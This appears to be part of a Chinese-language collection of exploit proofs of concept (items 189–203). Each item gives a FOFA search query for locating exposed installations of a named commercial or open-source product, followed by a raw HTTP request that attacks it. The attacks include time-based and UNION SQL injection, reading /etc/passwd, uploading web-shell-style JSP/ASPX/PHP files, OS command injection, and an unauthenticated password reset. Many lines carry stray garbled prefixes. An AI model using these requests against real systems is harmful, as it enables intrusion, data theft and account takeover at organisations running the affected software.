& ~7 ?% S* G% e" UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! \% l" S* }* xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


, \' r  X4 _, s' D  c6 l9 l189. 蓝网科技临床浏览系统 deleteStudy SQL注入
7 R$ s7 b. s) j$ L6 fFOFA：app="LANWON-临床浏览系统"
/ K6 F, n; M7 k$ TGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
" ]% n, o/ _( D5 B- ]/ B: PHost: your-ip
7 y/ v* y1 c: B: C5 d/ V$ ~2 FUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ t/ ?* o" s8 _0 y# x# `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 W& W$ x: L$ H3 S; l1 v( BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


% ~! v& s3 i: U' ?/ ]" S190. 短视频矩阵营销系统 poihuoqu 任意文件读取
& b8 p1 O( }$ NFOFA：title=="短视频矩阵营销系统"
5 `8 @; U+ a: y9 FPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
4 ~2 a7 X& q4 I4 Y5 y! l6 ]Host: your-ip
4 `, _, i  X( c# NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
0 {8 w+ _! g. ?" W/ E- yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
# ^- D) ?% f# Q6 h5 s  r9 e5 B" h+ ?Accept-Language: zh-CN,zh;q=0.9
" {6 ?7 ^) v* e$ Q! B3 b! z+ S
poi=file:///etc/passwd
5 g2 c% D0 Y1 |! b. W: g, z4 V

* V3 S" p& g( k3 w191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 ~7 R1 S7 }4 Y6 x' ~. cContent-Type: application/x-www-form-urlencoded
% W/ g: t# y* B3 y
4 z) G+ P8 [% scommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
) N$ R1 {2 L( O2 U" YFOFA：title="用户登录_富通天下外贸ERP"
$ b; y: n# L, b0 m  j8 X9 W1 EPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
5 R/ n! F# ?( w4 C2 K, @+ X+ Y- `' zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


2 N/ }+ N1 w  |2 J* f8 l<% @ webhandler language="C#" class="AverageHandler" %>
+ U9 [3 K7 n8 ?using System;
2 @' Y7 T% ?: A/ j) q3 Iusing System.Web;
- l% T4 I. A/ J& I: Rpublic class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
. D1 K6 h# L; v( Y5 R{
+ |+ N0 j$ {* q) V8 vctx.Response.Write("test");
}
}
# W, E1 |) x9 ~0 r1 }

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
/ c" T7 V7 P* h9 I( T: vGET /master/ajaxActions/getTokenAction.php HTTP/1.1
/ y* i7 f! W  t* p$ A9 k4 qHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
4 W  l5 I7 I1 N" w3 {% y% R
; s0 l8 d- e; C' S
& A5 V3 a% n. M0 {( xPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
+ s) ^$ a; V) o, q3 s6 tUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
6 B# M3 V' E/ e: D4 }: y* aConnection: close
Cookie: PHPSESSID=2333333333333;
( S( |' R- E" [' m7 ~8 aContent-Type: application/x-www-form-urlencoded
7 ?0 Q0 o" i- y- P- _" A$ jContent-Length: 84
/ a5 {* f, \. X$ {' }8 p
5 e1 t0 E( C6 e; h6 [param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

2 ]2 U+ {  [: u7 E5 h7 D
8 W5 |& m, l0 D: e' [GET /master/img/config HTTP/1.1
Host:
5 D. \* b/ l2 ~  a$ jUser-Agent: Mozilla/5.0
2 \$ Y( x1 a' C3 `
* I, w% z  O+ C5 Y
0 v/ A( W0 {  [3 m5 C1 X' t0 I194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
+ K& D9 v) v  QFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
( K7 j0 b3 t( E
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
% s& _# m/ \) ?6 V- sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% A2 a" v# N- LAccept-Encoding: gzip, deflate
Connection: close
; R: ?& h( v! @: ]& xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 |; o6 v9 M9 m; ?6 o- v- Y$ ~$ [------WebKitFormBoundaryKNt0t4vBe8cX9rZk
" d' w% k: i5 P2 Q4 Q
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
) i, [  |4 i3 Z0 ^Content-Type: text/plain
2 D, q: G4 d6 ?9 Q( L2 S* E<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- S# b; F; Y  pContent-Disposition: form-data; name="json"
1 w) a2 a; K: Q' s {"iq":{"query":{"UpdateType":"mail"}}}
( y  ]$ h2 f2 e------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

  o5 U* t  g1 |/ O9 Z/ ^! y
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
" o1 h, a5 `" H" ?POST /send_order.cgi?parameter=operation HTTP/1.1
* r- v: T9 y! \7 E0 V) \  FHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
, r4 A- {3 ?1 [  XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
2 E" X' A$ g4 u" e* HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
1 m2 b" B! t6 ]- ?Content-Length: 68
- Y9 ?5 C2 E7 z: w. ~: X, p( p
0 f; v3 R3 m2 a( [- X+ v. G{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


* N9 |) a& J- d/ N196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
: f6 ^" g4 x1 |# u1 J& gContent-Type: application/json;charset=UTF-8
# `, `1 P; U7 n3 @: J/ cX-Requested-With: XMLHttpRequest
+ V; F' R  r* b) c; GHost:
3 Q; G# V4 c+ Q: _7 XAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
' k( k! e" _( c6 E& T" xContent-Length: 45
# [! j$ w( k" ]8 q7 N' c2 E1 RConnection: close
! P5 L3 I; ], u
{"xgh":"test","newPass":"test666","email":""}
  {6 E' d6 g1 W3 ?1 }) O  h+ _
4 W  M/ i5 B% d' w" l; c0 @2 a0 ^. s

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
9 `: _' p! x8 ?% Y( t" oGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
3 H+ L/ I" L% i- k1 Y3 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
4 W+ p4 |0 D' R5 }Accept-Encoding: gzip, deflate
7 d) J. |; i/ K8 `Connection: close


8 ]1 e7 r) x* I0 d" h
198.  阿里云盘 WebDAV 命令注入
: Y4 e1 u7 N7 D- c/ \CVE-2024-29640
0 q# J" D0 g# uGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
$ y# F! K4 f1 H, }9 sAccept: */*
% n! p( z; d' ?* HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
3 h0 d7 M0 d( L( v  }7 `: R% l; Q* t/ VConnection: close
; T( ~/ J  |; t& Z' E

) W! B7 D% s3 x6 j199. cockpit系统assetsmanager_upload接口 文件上传
* W% F- A- O1 z
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
, Q2 i% i: ?) u0 z& v: E+ _
  g' w% K. s% e- Q8 Y. X$ B* T响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
8 g4 U1 i8 ]% ?# g! w) A) ~& y( o
2.使用刚才上一步获取到的jwt获取cookie：
5 A3 e3 p3 G; G+ C! e9 \- _
- d2 W# I! f! L# W) D$ A. H5 ?; T5 I: YPOST /auth/check HTTP/1.1
! B1 X% k: r# ^% p+ A3 OContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

5 p" b0 n" f9 _# }% e响应：200，返回值:
5 O- b: D" q. F+ r/ dSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
) Q- U- A+ e) @3 J; j6 @! H5 xFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
8 R1 K! A1 E5 ^' L6 U. G1 w$ `0 q
-----------------------------36D28FBc36bd6feE7Fb3
2 V4 [. w, O4 k0 p" ]Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
) Z, D. k$ p: I& P2 m) a
<?php echo "tttt";unlink(__FILE__);?>
3 i& `9 y0 @; V1 g4 V# T0 P9 K/ Y' U-----------------------------36D28FBc36bd6feE7Fb3
! b6 [0 k' }- E: ^$ E0 c. l2 cContent-Disposition: form-data; name="folder"

* ?# y: e+ e- M, a* U  `" S-----------------------------36D28FBc36bd6feE7Fb3--


( r& G6 f" _/ L* v/storage/uploads/tttt.php
0 t; `/ [& g' N6 C3 V
. X  Y4 V9 u8 \& T: _$ ]200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
9 L1 R0 Q3 }. c( r& P) tGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
6 A$ U% O: x! K, W0 VUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
+ o6 I$ a$ C: S/ IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
4 J# y# s; T; L, k6 T' c( MAccept-Language: zh-CN,zh;q=0.9
. J" ]' D  A, y! T; q+ U/ [
1 ]" k9 m7 P- U: `9 [5 S" t" P3 r
201. 方正全媒体新闻采编系统 binary SQL注入
5 u. e% J) [  \! h# V5 L0 @FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
  P9 R) B4 l. b6 C1 \POST /newsedit/newsplan/task/binary.do HTTP/1.1
% M/ N- V% V- [( @Content-Type: application/x-www-form-urlencoded
3 r: K4 q! ~0 N& U. i* U5 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. P2 O  I- O' K/ a! oAccept-Language: zh-CN,zh;q=0.9
Connection: close

2 B% _- I# a4 h) v! |0 V) _TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

" R/ w1 u: |" s
$ [6 j0 Q- l/ I9 S202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
' ~2 N. V/ A) G  q* k. o获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
5 ^3 p. k7 }' l1 zHost: 滑板人之家
1 X9 T0 A3 v5 ^5 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
/ [# W4 m3 l+ ZContent-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
; }, r6 [5 C  F9 |POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
, h8 U; r0 @% y- f8 T; e+ n. k
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
; V8 D8 N& `4 t0 C! [" @. C
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
- o  D0 b# X  Z% vContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
0 K5 `* z; P1 s7 @% q5 v. e, S9 Q9 R; i
Hello World!
, w9 I: |% C5 N" n6 R-----------------------------786435874t38587593865736587346567358735687
5 s/ H/ |5 Y! {. t" d" H) M7 UContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

+ a, v3 f* Z" E; U3 P2 T& n上传图片
$ b9 S) ~8 E5 I' B: a2 m0 P-----------------------------786435874t38587593865736587346567358735687
' T$ B+ w0 G, c% a, EContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
' Z) c- |' Q. _, T  V; q% ^

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
# b. V' V6 R' e1 a9 b' m4 c# V. ^
9 X* Y' ?4 L, M; r8 d( x
-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt

: q, {* ~, b. X# p- F( w' U203. 红海云EHR PtFjk 文件上传
' a; _! z6 h% f3 g/ xFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
* I( w- G! D" K1 W5 F% ZAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 u0 Q$ C# y2 {# C$ ?# z7 OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
2 K. u$ Z, ~" V2 i, Q* zContent-Length: 210

1 a" S, h: T  R------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
4 Q6 U5 K7 U4 U6 i; b5 ZContent-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


$ H' m$ k1 A2 c# W' g4 K8 I